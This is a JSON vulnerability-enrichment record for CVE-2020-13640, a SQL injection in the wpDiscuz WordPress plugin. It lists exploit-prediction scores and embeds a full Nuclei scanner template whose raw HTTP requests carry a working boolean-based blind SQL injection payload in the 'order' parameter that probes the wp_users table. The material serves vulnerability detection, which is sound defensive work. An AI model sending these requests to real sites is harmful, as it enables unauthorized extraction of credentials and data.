{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-13640/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-13640/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-13640/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-13640/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-13640/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-13640/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2020-13640"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2020-13640"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.12706,"kev":false,"percentile":0.96265},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-13640.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-13640\n\ninfo:\n  name: wpDiscuz <= 5.3.5 - SQL Injection\n  author: Sourabh-Sahu\n  severity: critical\n  description: |\n    A SQL injection issue in the gVectors wpDiscuz plugin 5.3.5 and earlier for WordPress allows remote attackers to execute arbitrary SQL commands via the order parameter of a wpdLoadMoreComments request.\n  impact: |\n    Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including user credentials, posts, and sensitive WordPress configuration data.\n  remediation: |\n    Upgrade to wpDiscuz version 5.3.6 or later.\n  reference:\n    - https://github.com/asterite3/CVE-2020-13640\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-13640\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-13640\n    epss-score: 0.14546\n    epss-percentile: 0.96654\n    cwe-id: CWE-89\n    cpe: cpe:2.3:a:gvectors:wpdiscuz:*:*:*:*:*:wordpress:*:*\n  metadata:\n    max-request: 2\n    verified: true\n    vendor: gvectors\n    product: wpdiscuz\n    fofa-query: body=\"/wp-content/plugins/wpdiscuz\"\n  tags: cve,cve2020,wordpress,wp,wp-plugin,wpdiscuz,sqli,vkev,vuln\n\nflow: |\n  http(1)\n  set(\"postid\", iterate(template.postid)[0])\n  http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/wp/v2/comments HTTP/1.1\n        Host: {{Host}}\n\n    stop-at-first-match: true\n    extractors:\n      - type: regex\n        name: postid\n        part: body\n        group: 1\n        regex:\n          - 'post\"\\s*:\\s*([0-9]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php HTTP/1.1\n        Host: {{Host}}\n        Content-Type: application/x-www-form-urlencoded\n        Connection: close\n\n        action=wpdLoadMoreComments&offset=1&orderBy=comment_date_gmt&order=, (SELECT CASE WHEN (ORD(SUBSTRING((SELECT user_login FROM wp_users LIMIT 0,1),1,1)) > 96) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END)=1 ASC #&lastParentId=&postId={{postid}}\n\n    stop-at-first-match: true\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'comment_list\":\"<div id=\\\"wc-comm'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php HTTP/1.1\n        Host: {{Host}}\n        Content-Type: application/x-www-form-urlencoded\n        Connection: close\n\n        action=wpdLoadMoreComments&offset=1&orderBy=comment_date_gmt&order=, (SELECT CASE WHEN (ORD(SUBSTRING((SELECT user_login FROM wp_users LIMIT 0,1),1,1)) > 97) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END)=1 ASC #&lastParentId=&postId={{postid}}\n\n    stop-at-first-match: true\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"comment_list\":null'\n        condition: and\n# digest: 4b0a00483046022100917891fc2c0c3401c85f9f8681807559eee45bfe91d07643a5b14e515817b50c022100a070e18b11e126c410da1c47c1ac65c7f6cbb74768c12d1aed8964de27ef650d:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2020-13640"}